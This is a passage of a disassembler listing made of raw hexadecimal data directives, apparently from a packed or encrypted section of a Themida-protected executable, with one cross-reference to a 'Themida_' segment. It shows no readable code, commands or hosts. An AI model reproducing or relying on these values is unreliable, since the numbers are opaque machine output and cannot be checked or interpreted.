0E763B35Ah, 0C2CCBB6Bh, 181F8479h, 7E6E0000h dd 7C590A32h, 81570830h, 845AFB35h, 885F0038h, 0BD05143Ch dd 69D31F38h, 5BD52138h, 73DD293Ah, 6CE43022h, 36284468h dd 0F656120Dh, 0E95BD3DFh, 0D05975D3h, 1E498DE0h, 5E746503h dd 627E2A12h, 1205188Eh, 19F51C56h, 36124216h, 1205301Ah dd 4E053656h, 0FF23802h, 7530831h, 5219559h, 0EC135612h dd 1C8F1D22h, 47561205h, 5DFA4591h, 14ED3682h, 65DE2A23h dd 0AC57AE04h, 0EC62A191h, 5B3C63D7h, 39ACh, 55B4200h dd 0ED5D71CFh, 3F4FC6B2h, 554D67E0h, 124FC6B3h, 586BE124h dd 2B54F111h, 1Ah, 0B31D96C3h dd 1E1E4FC6h, 91965A06h, 0C3498EBAh, 8FA8F45Ch, 69C08BD7h dd 0E95B77CDh, 465975D3h, 0A8498E9Ch, 0C9A1BE89h, 4786497Bh dd 0CE373637h, 0D11D3566h, 0E22E2956h, 6A865A86h, 560ECFF4h dd 0B7BD938h, 29560ED0h, 32DB273Ch, 0C5115FE8h, 0D0E1D599h dd 0AC53560Eh, 0A515F062h, 0CD849AB4h, 0D18EA881h, 3263CD19h dd 64BD420h, 2E421E36h, 4FD6D631h, 43143CE3h, 5C08438Fh dd 1E905C80h, 0E4FC6CAh, 0C9F165F3h, 0DC434FC6h, 2D031A52h dd 99EF37F0h, 0C10DC53Ah, 0C814C697h, 0BA06E07Fh, 6AA9BF71h dd 0A791DDF5h, 0AC98E4F6h, 0B5067F53h, 0C1B44F9Bh, 0D075C188h dd 2D7B789h, 0DDF14FB6h, 0C1C57D72h, 980EE2FEh, 9CCE457Dh dd 0DC67B3ABh, 90929C85h, 0C496C771h, 9A6DBBAEh, 0B8589880h dd 0CF58B158h, 0B26DB9B0h, 50C50056h, 0B9B0899Ah, 4D6FDF6Dh dd 62BDCE45h, 0ADC19DCBh, 0CE454DB9h, 0C169B5B0h, 0DB7CD45Eh dd 0A970BB07h, 0F7E38197h, 85BE0ADEh, 49DA929Ch, 0A3C80D32h dd 7542777Ah, 83C633Eh, 0DD1F0804h, 0EE3A132Bh, 1546EE17h dd 1E36F13Dh, 0D7FCDA24h, 2D9D784Eh, 3C07530Ch, 560C49E5h dd 6E825E0Ah, 0B7FCD9F8h, 1539D53Ch, 8438F44h, 1A667B5Ch dd 3C885F00h, 327E5403h, 459146F9h, 0BD186EFAh, 0FB449048h dd 0E22EFF26h, 9893DFF9h, 10F365B1h, 0D47CC89Bh, 0BB84D083h dd 0AD76C29Ch, 35260F5Bh, 580B5EE9h, 11F8337Fh, 0FB705305h dd 9CC09CE8h, 0FCDADED0h, 67B34EB7h, 71BDAEEFh, 0CBE163B6h dd 0E60C19Dh, 0C240CBFh, 0CF60CF22h, 2904EE34h, 0FD013125h dd 51C03B7h, 0EAAE4129h, 0A180B1C4h, 3194EAA6h, 0ED5BA7BCh dd 69C511CCh, 529EB4E5h, 1ABA8DF6h, 45780AB8h, 458E3529h dd 0F118F7BEh, 6B7F2025h, 0D9307C55h, 68AB034Eh, 0A993DFF3h dd 6FF0ECF7h, 4397C3h, 344D0000h, 0C0779679h, 94E0F6EBh dd 819BA16Dh, 19421E6Ah, 0EA362B41h, 0B4EF743h, 19452339h dd 2C062E08h, 593EEB40h, 0F3AE5919h, 7955F31Fh, 4FC6E605h dd 462E0827h, 498EC635h, 2D302807h, 1Fh, 7C5586E1h, 0FE277366h dd 0E4302334h, 3C885F78h, 34044DF2h, 3B2C401Ch, 0F9498E9Ah dd 4F641E16h, 0F10739B9h, 95B07753h, 23FE498Eh, 0D3DADC45h dd 0FBE0FBD8h, 0D2C4E01Fh, 9CC1BE18h, 0CE59A5BBh, 0A8989F7Bh dd 8398B490h, 693C8A04h, 84B47DC6h, 0FCB3A3A7h, 0A1B64479h dd 8F77CA55h, 9FAB9970h, 3E41D463h, 0A5F1E2D3h, 98E4FD9Ah dd 0F553BA8Fh, 0C22465D9h, 0CE68C742h, 0B387B55Ch, 0CA58CC4Ah dd 7C966596h, 0A3B907DBh, 3A8CA1EEh, 9ABB758Ch, 55A1B2C8h dd 808E77CAh, 3E404FD8h, 8E63D29Dh, 0DD000014h, 0E081BB07h dd 0DE7FB905h, 0C596BE0Ah, 0C293BD09h, 8897C10Dh, 56A2BD42h dd 58A4BDDEh, 60ACBFE0h, 67B3A7F8h, 0A9C5E9EDh, 561210B5h dd 86525C77h, 0B320965Ah, 0ED144FC6h, 0B4554921h, 56E64FC6h dd 140F5B74h, 6468D42Dh, 498EB4DFh, 0E632280Dh, 3F1D045Dh dd 0C6F74516h, 0E6F9C451h, 772810F9h, 700F1864h, 76E02E7Ah dd 33CAF33Bh, 141B1508h, 7A6A0000h, 7855062Eh, 7D53042Ch dd 80560731h, 845BFC34h, 0B9210038h, 65CF1B34h, 67D11D34h dd 5FD92536h, 78E02C3Eh, 42343864h, 0F2561211h, 0E95BCFD3h dd 754975D3h, 0B84EBA0Ch, 73019D01h, 4FC76903h, 32F4342Eh dd 947A177Ah, 0C2C9A16Dh, 8C498EEFh, 0C79EB7A5h, 0C5A0C17Bh dd 0D991AE79h, 564EAF8Dh, 0C9BD9192h, 6B560F73h, 0B9005BC4h dd 5F113600h, 7855CA09h, 9A21042Ch, 1CDDF344h, 0C20EC7F0h dd 0D8EEE778h, 0CF58B1FDh, 0F4DCEC5h, 41D4356h, 0DAF615BBh dd 560EF064h, 0BABE69C8h, 0FA60BA1Ah, 63AFA61Bh, 0D28CADF9h dd 0B2ABAC86h, 0AD76C29Ch, 9F72AD54h, 0FED6859Dh, 0B8D7B8D4h dd 98AF351h, 0FA940764h, 61C814CAh, 0E4C18DD5h, 5A4FD639h dd 0BAB089B7h, 0D599AAA4h, 4FC9BDE1h, 0CA55AC53h, 0FAA68E77h dd 0E860EAA9h, 0C48CE88Eh, 7DE7C249h, 63F43EE7h, 1C925E6Fh dd 104FCA88h, 4A0F18F1h, 5A86E2FAh, 712F7349h, 57E39AE3h dd 919B551Bh, 0B3B7A349h, 560F9CC3h, 0C9778E71h, 86AEFAF0h dd 76B1FDD5h, 0A8C1A1A3h, 210C235Ah, 36CFFECFh, 9A5D71CFh dd 0DC4FD6F3h, 2E87D535h, 932CCBBh, 12D414h, 0E5312300h dd 0E7332A6Bh, 0E8342C6Dh, 0EB372F70h, 0EB373071h, 67ECF271h dd 6B2C2470h, 71322A76h, 55062E7Ah, 9307317Dh, 12138347h dd 0C2215612h, 0B3299680h, 9B504FC6h, 0AE8EE54Fh, 0E2A6AA96h dd 12498DE3h, 706851EFh, 74E73824h, 0AFD67262h, 18B41AD4h dd 0EC15A815h, 80542E22h, 54711963h, 206C6455h, 1601916h dd 5BAD0000h, 8652CC06h, 0C6B2F16Ah, 74D0374Fh, 0B3128448h dd 0FF224FC6h, 3C860933h, 327E5586h, 69472E8h, 55D1035Bh dd 2D795586h, 5B275DD2h, 300AC30Ah, 6C805C08h, 4FC742FAh dd 1D1BD53Ah, 2FD52F19h, 5B023CD6h, 2358D2E8h, 195380D7h dd 746557F1h, 2906105Ch, 3Ch, 0E51BC2DBh, 21047A56h, 9284CC7h dd 0F4B6BE1Eh, 0B19893DFh, 5B88BE58h, 8655D103h, 0C6B2F16Ah dd 540A3B4Fh, 86252108h, 1B67813Ch, 86BC060Fh, 0F22D7955h dd 3310030Fh, 0AE000000h, 55D1035Bh, 6A865A86h, 4FC6B2F4h dd 353DD938h, 4FC6B33Eh, 443A162Ah, 0E84FC6B3h, 0D037ED49h dd 813C8656h, 60F1B67h, 5397C9DAh, 76AD7695h, 5380A29Ch dd 3057F119h, 30h, 0D2E85BC6h, 0F16A8658h, 3B4FC6B2h, 3C864AD4h dd 2C186481h, 0B34A3C10h, 47EA4FC6h, 0BC0651EBh, 5A3Fh dd 0DC8F100h, 0C0A386C1h, 6BD15DA9h, 58D2E85Bh, 0B2F16A86h dd 0D0374FC6h, 44950B74h, 2EEE2E93h, 0ECF2EED5h, 31FD20FDh dd 865A860Bh, 0F6317D55h, 0B3514513h, 3CE34FC6h, 55864CF2h dd 0F165697Ah, 434FC6B2h, 6CE945DCh, 1E372571h, 0DE43FC48h dd 0DA06EA54h, 0A29DE901h, 86C973BFh, 7D5C7F1Dh, 7F9B1C9Bh dd 0FFFE929Ch, 0E95B32FFh, 704975D3h, 1E6A647Ah, 3A3F2B07h dd 8498DE1h, 3B1F3B29h, 12053F2Fh, 814DED56h, 5612050Dh dd 0D29001Fh, 0E64E9A50h, 0FAD6C98Fh, 56120584h, 0C4A089A8h dd 1205B6A8h, 1AD17656h, 15EC55CEh, 23271327h, 56120533h dd 5C521E01h, 0D0561205h, 0F026F22Fh, 67BEBBBEh, 66DA72CBh dd 0FB56124Ah, 0F68E99E5h, 124A64DAh, 0F669C856h, 0C28F98E4h dd 63FEA96Ch, 3C209073h, 124A3E30h, 824EEE56h, 56124A0Ch dd 37280120h, 1648D21Eh, 5B3CA889h, 576CCE2Fh, 560B566Ah dd 566BBCh, 86030000h, 30EF321Dh, 8D43110Dh, 0A230641h dd 0F54E4430h, 3F134FC6h, 6C6455F3h, 0F8422720h, 7DB4460h dd 2AEF0581h, 0A224A2EDh, 0C613C689h, 41C065Dh, 3ED838D8h dd 0C6CD3D36h, 263EFE4Fh, 86FD263Ah, 73C48499h, 0F9026AC4h dd 33498F7Dh, 0CDF164CCh, 8D000000h, 75D3E95Bh, 8E937659h dd 11C9F249h, 8EB769C5h, 0BBAF90DCh, 0B44DB46Fh, 70BCAF88h dd 78C497C8h, 0C0DA6AAFh, 2CB34BB5h, 67D52C16h, 40A72A53h dd 66CF66A5h, 3E5A40BDh, 610D810h, 0D65BD76Eh, 0B1F8154Fh dd 3320AF0Ch, 0EF388456h, 2E1AF31Ah, 2945560Dh, 4FC9D335h dd 1AEF18F7h, 0A4E718F5h, 45163EE7h, 5B09428Eh, 1A667Ah dd 53F10739h, 18226E62h, 91D1804Ch, 40194991h, 0E93FDB27h dd 25411A46h, 1FFB4ED9h, 0F4401243h, 0FB471B3Ch, 0F3A8D71Bh dd 0A499E2CAh, 0F79h, 90C814C8h, 92CA16CFh dd 91CB17D1h, 92CA16D0h, 92CA16D1h, 11C64B93h, 17CA8BC5h dd 1BD091CBh, 1E3465CFh, 2A766AD2h, 12153026h, 0DDE10456h dd 80536981h, 4500334h, 43FE63Bh, 70697F53h, 0E742FD24h dd 0ABBF348Fh, 54A0015Fh, 99105284h, 10520610h, 54F1CB73h dd 5010h, 0C093C400h, 0B0E1B272h, 0AF56DA56h, 0BB818D74h dd 75D3E95Bh, 0F6408C44h, 9EC9626Eh, 0FC23498Eh, 283E1443h dd 55CE733h, 0C1B5C31Ah, 966F3F6Fh, 99E5FD9Eh, 8C5F68Eh dd 15D983BCh, 560EC6A1h, 79956C93h, 0D26E86B6h, 0D6A719FEh dd 3CF41B4Fh, 18648102h, 1A667F20h, 222E122Eh, 4FC6B32Ch dd 63532100h, 0D14FC6B3h, 515BE42Eh, 4FC6B364h, 5C0E5C0Fh dd 0FB395AAEh, 3C68D039h, 0D602E3h, 73BF06BFh, 0F8647CBCh dd 8E2D81F4h, 0F450AF49h, 97C10DC3h, 6BDBEFCBh, 0FE5611D1h dd 0BFA29DE9h, 0C297C867h, 80A29C76h, 54711963h, 1CE20h dd 65BB600h, 3A055102h, 0F5B74E7h, 4AD42D14h, 66815A86h dd 0DE38111Ah, 0C6B31D96h, 2AF40B4Fh, 9A7C3C86h, 0CF035B0Ch dd 0A1DF0CE1h, 0BE88A157h, 0E85BF05Ah, 864A76D2h, 4FC6B310h dd 0B31FD24h, 5380D723h, 3057F119h, 0A0h, 82F4F8E4h, 0B24CC6B3h dd 0ABF7EC4Fh, 35BB58Fh, 834773D1h, 4FC6B313h, 0EC378356h dd 812ED15h, 0F16A863Eh, 754FC6B2h, 2AFC2C0Ch, 0AD423244h dd 446CAB12h, 0A3A7956Ch, 4FC6C1B3h, 8E949E81h, 0E5E9D573h dd 4FC6C171h, 8C685AC3h, 0BF0066h, 86370D29h, 0D221495Ah dd 96A7961Fh, 5A86C27Ch, 0C6B32096h, 21ED144Fh, 0F1CE1C34h dd 6121EF5Fh, 805C0821h, 0C7A4FA6Ch, 3BD73A4Fh, 1DA0601h dd 0F4A39CE8h, 0AC958EDAh, 0A3EFE255h, 5586AD97h, 0D8AD2F7Dh dd 0EF6EEFABh, 3519FC16h, 0B5000000h, 55D1035Bh, 67815A86h dd 639101Bh, 0EA3F0854h, 0B32F2450h, 26F94FC6h, 544A263Ah dd 0D84FC6B3h, 8667DD39h, 1B67813Ch, 0C9DA060Fh, 0C952E954h dd 0D76DC9D5h, 0F1195380h, 0F73C6557h, 97B3F55Ah, 0DB958B3h dd 0F354F3B7h, 690627h, 86A00000h, 0E12D7955h, 4BD7ED4Eh dd 84495A86h, 96578205h, 0BCAFBB57h, 0AC4FC76Fh, 63AFA790h dd 83F381E8h, 0B14FC76Fh, 0FE5EC44Eh, 0D7B1D9A5h, 0E9876787h dd 4FC79E75h, 0F2E758B7h, 5DC49DA6h, 815A86E1h, 2A141E6Ah dd 2F7B5586h, 0F5B72E3h, 4D410D31h, 0DF4FC6B3h, 0B2FF6F7Bh dd 0D22D4FC6h, 665DF3Bh, 273FBCh, 5BD30000h, 4D410DE8h dd 0DF4FC6B3h, 865DE940h, 0C6B2F16Ah, 74D0374Fh, 0DB90DD0Bh dd 42CC46CCh, 813C86FCh, 60E1864h, 0FE293FBCh, 5BD3FFFFh dd 5975D3E9h, 498DE0D0h, 7465031Eh, 532A125Eh, 6569D70Dh dd 561204F1h, 4963DC43h, 56120557h, 6DE32210h, 5B3C6352h dd 4431h, 0DEF7E300h, 0A287C00Ch, 11FDE0D6h, 61AD5456h dd 0B31C96DBh, 8D454FC6h, 1E372341h, 0DD44FF4Bh, 0C6B31F8Fh dd 51F20D4Fh, 6CD54E9Ah, 0B5ABAEA2h, 85000000h, 0F4BC4859h dd 0D8EDD8BAh, 0C7180A7Ch, 2B072A4Fh, 78558611h, 0ED4FE22Ch dd 695569D7h, 0C6B2F165h, 52DC434Fh, 8E93D51Ah, 4CF81749h dd 42C786Bh, 0EB348053h, 62FE1626h, 0D601FB8Eh, 6AD6394Fh dd 0D54E9A51h, 0A6BAA26Ch, 0CC8298B5h, 0CB62C780h, 0D08DA980h dd 3465CF1Bh, 158D31Fh, 2F3B293Fh, 49915702h, 4273D130h dd 2108438Fh, 766C4D15h, 0E43D8960h, 0EB372B6Ch, 0F375ED4Bh dd 9E7FA8CAh, 0BB9h, 50085408h, 520A560Fh, 510B5711h, 520A5610h dd 520A5611h, 0D1860BD3h, 0D78ACB85h, 0DB90D18Bh, 0DEF4A58Fh dd 0EA36AA92h, 121970E6h, 1D21C456h, 20965A86h, 144FC6B3h dd 1E3421EDh, 70C272D0h, 0A4C05FC0h, 0C7A6D6C8h, 52BB564Fh dd 0D68AABD9h, 0FFB60188h, 4AE339E3h, 0EDE42601h, 0B010B0E2h dd 0CAA0BD59h, 0E64C57Eh, 786E47B7h, 5D75E22Ch, 6A752711h dd 4E54F153h, 8D328F35h, 70CA66CAh, 68BFh, 85497500h, 4FC79F11h dd 0D5213223h, 40EF74Ah, 495A863Ah, 91D14CD3h, 0D3C39104h dd 614FC701h, 7BBD74BEh, 0BAE3F765h, 2E605A62h, 0F1656996h dd 434FC76Fh, 81E945DCh, 498F4FE6h, 51EE39D8h, 0C6EF4D99h dd 0DF77C30Fh, 0E760ACBEh, 0AE9AB292h, 0D7315DA2h, 0C8708F4Fh dd 0F099839Ch, 0DC8EDC97h, 64816643h, 0A16D9A6Dh, 4E64819Bh dd 5C754F9Dh, 62436273h, 0BEFA62CBh, 4FC6C2D1h db 98h byte_5734E9 db 0C3h, 77h, 0BDh ; DATA XREF: Themida_:0054549Co dd 92AEC676h, 8DF0D2BEh, 0A5BB9C49h, 9F7BCE59h, 69BAA689h dd 8E48CA4Ah, 3D758E9Bh, 25853BE3h, 88B1A985h, 90CC84D0h dd 0E0AEA0ACh, 0B4B85611h, 5611E0C2h, 98778F72h, 6380C87Eh dd 20547119h, 1A7h, 0CC065BB6h, 0E804C70h, 1E4FC6B3h, 860D3703h dd 0C6B2F16Ah, 56D0374Fh, 55863C86h, 73E5317Dh, 35B0391h dd 0F05A55D1h, 58D2E85Bh, 2E7A5586h, 86C915E4h, 0E4D7495Ah dd 16E816D5h, 0C71E443Ah, 0ED49E84Fh, 0F184446Fh, 653F57h dd 5BD70000h, 4273D103h, 1B677A90h, 46D039F2h, 7A558600h dd 46E4482Ch, 729B6B9Bh, 9EC650B9h, 0C79AD9D2h, 72AC534Fh dd 102B1D86h, 335B3529h, 0E23D503Dh, 265A115Ch, 63C324B3h dd 94D06AC3h, 7B55868Ah, 5E72E32Fh, 17459148h, 0C6B36353h dd 0D72ED14Fh, 86BC064Bh, 0B320965Ah, 0ED144FC6h, 47F221h dd 5B900000h, 8655D103h, 0B320965Ah, 0ED144FC6h, 6D356F12h dd 5CB652B6h, 0E7FBDC00h, 5DB9909Bh, 0C6B39E15h, 0A9758C4Fh dd 67813C86h, 2D112D1Bh, 0C6B32D21h, 5420FF4Fh, 4FC6B362h dd 9EA12DD2h, 0E94BE99Fh, 650F640h, 795586BCh, 6073E12Dh dd 2357F119h, 3Eh, 0D2E85BBBh, 865A8658h, 0C6B2F46Ah, 25716D4Fh dd 40DF471Ah, 0B3057EF6h, 3E274FC6h, 0FB47DE2Ah, 2F7B5586h dd 59010DF4h, 18648167h, 0C9DA060Eh, 0EDDA7CDCh, 1B21ED72h dd 5C3Fh, 0E85BD300h, 6A8658D2h, 4FC6B2F1h, 3E8A4475h dd 5B151A05h, 0F4DCF413h, 3F1B010Dh, 0BD9FBFDEh, 0F854E454h dd 4FC72186h, 6FB804DBh, 0AA8D749Ah, 89E06BB7h, 0BF93C4A0h dd 0C551B873h, 495A867Fh, 38B336B5h, 68DE386Ah, 9B4E6481h dd 9483964Dh, 60C9CCC9h, 0A9BA9BC9h, 66BD15Dh, 0FE503FBCh dd 5BD3FFFFh, 5975D3E9h, 498DE0D0h, 7465031Eh, 5D05115Dh dd 317D5881h, 166278E5h, 0D301571Eh, 778D4475h, 3019125Eh dd 1FFB4ED9h, 5372743h, 1AF55612h, 5158311h, 785E5612h dd 639C279Dh, 28E75B3Ch, 7F000000h, 317D5586h, 0B3158DE5h dd 30514FC6h, 0F5C2C8C4h, 53E5F315h, 806380E3h, 1AD08DA9h dd 2A034F04h, 9A2F32h, 5BE30000h, 5975D3E9h, 498E9D96h dd 2F0B39D8h, 55AA57CEh, 3E1513DFh, 39D039F2h, 1F6B80DDh dd 236F6435h, 0D9EF5128h, 47934A6Bh, 510925FCh, 0D61FF07Dh dd 85E33E4Fh, 9337F54h, 1B677C5Dh, 418D5EFFh, 0FB113306h dd 50D0814Dh, 43DE4991h, 0D11D3425h, 263C1D45h, 294162DAh dd 1BF23E13h, 0F36B83FBh, 0D045EECAh, 7F5h, 0C449044h dd 0E46924Bh, 0D47934Dh, 0E46924Ch, 0E46924Dh, 8D42C70Fh dd 93461741h, 974C0D47h, 9A50114Bh, 0AEF2E64Eh, 121DACA2h dd 59658056h, 7E536981h, 4B314D30h, 230AC40Ah, 667D5E0Ah dd 42057955h, 8274FC7h, 0F301521h, 35140F5Bh, 0B9B126DDh dd 97F0B6Bh, 0D72E2C2Eh, 4F9B5069h, 0E6CF8BC3h, 0C98BA7F3h dd 54F13CB6h, 49CDh, 0B81E7F00h, 12C9B64Bh, 5BD76DC9h dd 4C420EE9h, 0E04FC6B3h, 0D166277h, 834CD34h, 8EB67344h dd 0E55EC149h, 0EB7D3C7h, 57A89456h, 5469FE6Bh, 98BA54DDh dd 8ABCC73Dh, 97C75B39h, 7D000000h, 1C198D61h, 0F41B560Fh dd 0E95B241Ah, 58045009h, 0C6B32294h, 16EF124Fh, 443A162Ah dd 0E84FC6B3h, 0F5411649h, 1F3BD72Ah, 8E9F444Bh, 310FF249h dd 3C075308h, 43F449E5h, 0FC727E8Fh, 30560EDEh, 0E75773D1h dd 45560EDEh, 481943EAh, 5FFD4692h, 0DEFF6F7Bh, 6E62560Eh dd 0EA402922h, 0DEF86E82h, 0D53C560Eh, 0ED4FE22Ch, 645569D7h dd 4029226Eh, 0C9B97EF6h, 9354FD6h, 0C6B65145h, 203CE34Fh dd 0C6B65A4Ch, 0DB37DA4Fh, 3672EA45h, 24364C05h, 13FA4FD8h dd 0B54F3D07h, 24280335h, 4FC6B332h, 5A061F02h, 8E95C996h dd 7B4FFB49h, 560EDA0Bh, 0DE1F0629h, 0F9202FC2h, 4A2C0C95h dd 85E34A96h, 0CD0BD269h, 332B1C0Fh, 1C055CE7h, 0D6EE4E23h dd 0CBA4666Ah, 39D80A04h, 0EC382A0Bh, 0F33F1344h, 852EE123h dd 8273BC0Ah, 659h, 0F068B4A8h, 0F26AB6AFh, 0F16BB7B1h dd 0F26AB6B0h, 0F26AB6B1h, 0F1E66B73h, 0F7EAABA5h, 0FBF0B1ABh dd 0FED485AFh, 0CA168AB2h, 121E9006h, 0FD41A456h, 221D6981h dd 250F5B75h, 3A866079h, 519D4EF1h, 69DB5EB8h, 4CD9F553h dd 0A2498DE1h, 0C4C0E17Fh, 364CC2E9h, 0DA7DC24Ch, 3E5CBA06h dd 7BCAF04Bh, 5F34DB0h, 92420000h, 904D0E46h, 954B0C44h dd 984E0F49h, 9CB3E44Ch, 5179E850h, 8DC713CCh, 8FC915CCh dd 67D11DCEh, 60D82436h, 2A1C307Ch, 0A56121Fh, 0E95BE7EBh dd 0C85975D3h, 60498DE0h, 276A293Fh, 5CB6D9B6h, 0A4FD6BC6h dd 705CD15Eh, 0A1A670E7h, 15D9EAFEh, 56121EA1h, 88C30FC8h dd 7FA689A1h, 0F03C19AFh, 0E2531CCAh, 589h, 80B804D8h dd 82BA06DFh, 81BB07E1h, 82BA06E0h, 82BA06E1h, 0A1B63BA3h dd 0A7BADB55h, 0ABC0E15Bh, 0AEA4F55Fh, 0BAE6FA62h, 121FC0B6h dd 4D517456h, 75D3E95Bh, 767A8B44h, 4FC6B300h, 0CB34CD34h dd 0A2A859AAh, 0CC98A285h, 8EAE6D00h, 0E35CC349h, 0C2509CB4h dd 0CAF0C820h, 2AC73601h, 79000005h, 7C1D1763h, 7A1B1561h dd 81221A66h, 7E1F1965h, 24331D69h, 0F23E199Eh, 0F440194Ah dd 0FC481B3Ch, 34F0354h, 55194559h, 56122061h, 81AEF0D3h dd 2E7C5369h, 7864D066h, 789178D6h, 8EDA90AFh, 0A4F0E295h dd 95E1FC9Bh, 68DEF28Ah, 0CC4FC72Fh, 966DC365h, 10F349EBh dd 0C17BC79Bh, 9BB4CAA0h, 0A7F3EC4Fh, 0DFF9E27Eh, 65B19893h dd 2FDFD4E0h, 2304FC7h, 509C4EC3h, 99AF91E8h, 5DC69FABh dd 957C498Eh, 0AEA293A7h, 88388A60h, 0F31A2B1Ah, 0D8243627h dd 0DF2B3F60h, 152B0D64h, 0B5D2327h, 84AB4FD9h, 14D804D8h dd 4FC72CA2h, 17CC6F92h, 8DA980CBh, 0ECC1AD0h, 0A49C0C72h dd 0FED7859Ch, 0A016DAEBh, 944FC761h, 0B48B946Dh, 0E6C675C8h dd 0F33FE6E9h, 0DC283A5Bh, 0B6341F80h, 8EE38E32h, 0C676BB84h dd 0A2AE92AEh, 4FC722ACh, 0B2FED780h, 9D799079h, 0F66A9C5h dd 89A8498Fh, 0F31503A9h, 0F0650ECAh, 421h, 8307C70h, 0A327E57h dd 9337F59h, 0A327E58h, 0A327E59h, 392EB31Bh, 3F1243EDh dd 431849F3h, 461C3DF7h, 125E42FAh, 1221483Eh, 0C509EC56h dd 307C5586h, 156179E6h, 0D590E27h, 5AE32F12h, 5FD9253Dh dd 34102818h, 8E924B18h, 36C2DB49h, 0D73424h, 216D64D7h dd 31F74326h, 481172CEh, 7834466Fh, 3904CB34h, 68906802h dd 0EACB79CEh, 6980ABF7h, 0D0ED67B3h, 514921EDh, 16560F35h dd 546FE520h, 2F5B3993h, 43h, 9E95BC7h, 0E247004Ch, 0E0411D4Bh dd 5322D124h, 23B8534Ah, 0B5F12123h, 0F64D25F1h, 72498F3Bh dd 0C660C811h, 0C551B451h, 0E983BC63h, 560F5171h, 8F05C0F6h dd 5B39B3F4h, 0E28Fh, 39144500h, 811B21EDh, 0B66B1B69h dd 86C88669h, 0DCF3A49Fh, 61C814C6h, 55A1B9E6h, 69B5ADCAh dd 0CD82B3EFh, 9707E381h, 954FC73Dh, 0A1D4A07Ah, 0C44FC741h dd 7DA6C20Eh, 52F9A5FBh, 90C85245h, 0A0ECE3D4h, 0E25DA9BFh dd 0B0A2B37Fh, 8E4F864h, 4FC6C096h, 9BF07996h, 6D516DEEh dd 6CC57A94h, 0C488B4CCh, 498EB4AFh, 95C6A27Dh, 52B770BCh dd 97A990C8h, 2607E381h, 2C4FD404h, 52835705h, 16EB3480h dd 6430262Ah, 1D044FC9h, 3F8B4411h, 3F8B4415h, 0B9E6FBEFh dd 8075BECCh, 2B9h, 50085408h dd 520A560Fh, 510B5711h, 520A5610h, 520A5611h, 0D1860BD3h dd 0D78ACB85h, 0DB90D18Bh, 0DEF4A58Fh, 0EA36AA92h, 122270E6h dd 1D21C456h, 221A6681h, 3F1D6981h, 0B35F4F1Bh, 32CD4FC6h dd 5B1670E8h, 5975D3E9h, 498E9E82h, 72FA45ECh, 560EDEF8h dd 168C476Fh, 5B394189h, 0C1FAh, 69819400h, 5A75221Dh dd 420E320Eh, 4FC6B34Ch, 3F0B41DDh, 34DAC3DAh, 70FC41CDh dd 4FC745BDh, 6EE63228h, 7BE9352Dh, 3E1B8B5Fh, 0F6194FC7h dd 2879231Ch, 0AEFAEDFCh, 0CD64AE1Ah, 0E3E7556Bh, 498EEB50h dd 8DD9839Eh, 81CD88B1h, 0A11563C6h, 93560EEBh, 0AD8FA26Ch dd 0A1A5A997h, 534FD458h, 0B0A790ACh, 87B0EC64h, 0ADAA84D0h dd 18C866B2h, 0DDCCB9C2h, 1DFA392h, 3E2E0000h, 3C194AF2h dd 411748F0h, 441A3BF5h, 481F40F8h, 0FDC554FCh, 29135F78h dd 1B156178h, 331D697Ah, 2C247062h, 0F66884A8h, 36561222h dd 6681939Fh, 0B64F9B50h, 68B4B18Ah, 1D98ACEh, 0F6DF7BB5h dd 0B19893DFh, 6981DF65h, 667A221Dh, 0B300767Ah, 0CD344FC6h dd 0C6B30F7Fh, 317D524Fh, 7BDC36D9h, 5A211B67h, 5A76D2EAh dd 498EB605h, 0E57FC867h, 9509E5F9h, 97560EB7h, 0B76ADC78h dd 0A2CA560Eh, 0EB7D8CEh, 4CB55C56h, 0B7B0AAC2h, 7FB7560Eh dd 15B1CE44h, 4ED25B39h, 6C000000h, 2F7B5586h, 2E010DF4h dd 88D0F40Eh, 0F6ACF6CEh, 961D310Fh, 92498F44h, 0BD66B2A9h dd 0BC4A434Ch, 0B072BCA3h, 11C2F351h, 0B9A77AC5h, 0F62C1B5h dd 828C7356h, 62BBAFBDh, 90AC560Fh, 0C965B1A7h, 0C9D64C87h dd 0BA5B39C4h, 2Fh, 0B31D9654h, 1E1E4FC6h, 55865A06h, 87E32F7Bh dd 498EBA80h, 0EAE3D4E8h, 0B0BCA59Eh, 560EBBBEh, 8C02CE6Eh dd 0A0560EBBh, 9C8EA881h, 5B81BB75h, 5975D3E9h, 498EABAAh dd 584E223Eh, 0DC560ECCh, 0FF4B0235h, 0CF51DD44h, 0E55DF730h dd 82560ECBh, 0E8FB7154h, 9B5B392Ah, 18h, 7C558633h, 148EE630h dd 274FC6B3h, 8D61FF15h, 498EBA82h, 99E34DB4h, 2F7B5586h dd 0AEC4CE3h, 2E130C58h, 9B5069D7h, 0D397C34Fh, 498DE122h dd 936F110h, 0A4B0551h, 79130C58h, 4E9FA1DEh, 0B8B18AD6h dd 7C2D7E6Ah, 6AC342C3h, 0D64B8AD0h, 0DF80B804h, 0D384BF0Bh dd 0B474AFFBh, 0E3F7679Eh, 0C383F3F7h, 4EB1519Fh, 9FC38C02h dd 0B0BCA051h, 519FC3BEh, 0A07A936Eh, 0F55FABBFh, 0E962AEA4h dd 1474h, 5C0F2800h, 0E8321710h, 435635Eh, 0D11D394Fh dd 1AF356h, 1F6B8146h, 135F7324h, 28746718h, 1D69801Fh dd 0E5A7522h, 216D6215h, 115D7926h, 236F6916h, 125E7728h dd 54557419h, 4C5815Dh, 83000000h, 2C8704EDh, 89525C24h dd 4C281E2h, 81000000h, 4EAh, 24148700h, 2434895Ch, 44FB68h dd 241C8900h, 76BD5551h, 815F572Bh, 0AA16F0F5h, 5DE98950h dd 0B66E18BEh, 59CE3109h, 241C8B54h, 6804C483h, 3E14h dd 8F243489h, 34FF0843h, 0C4835B24h, 24348B04h, 81E68956h dd 4C6h, 4C68100h, 87000000h, 0E95C2434h, 0FFFD0A8Bh, 0B82E251Eh dd 64B7257h, 0E0FFC503h, 0FEFC04Ch, 3D16B528h, 4FEA6EDFh dd 34EB0274h, 6B597B6Eh, 2C4A6FACh, 59D7C77Ah, 3F9580E7h dd 7DC16BE5h, 28CAAF67h, 587D6769h, 12372BFFh, 20F7E533h dd 255CAEh, 4D440B88h, 100415C4h, 9CE5356h, 72B29EE5h dd 519B68A0h, 74BA667Fh, 748A85D3h, 5A8A3AE8h, 18D7A756h dd 12E61A61h, 730BF14Dh, 4FB1F7F7h, 0B6A56E8h, 700A7B8Ah dd 1C6E0295h, 5792954Dh, 13E8h, 1DF5C700h, 0D84269D0h dd 525D54E9h, 83130EDEh, 6E4FCA3Dh, 5FD68B66h, 0C78110B1h dd 72BDh, 48C0Fh, 0B9660000h, 0B89825h, 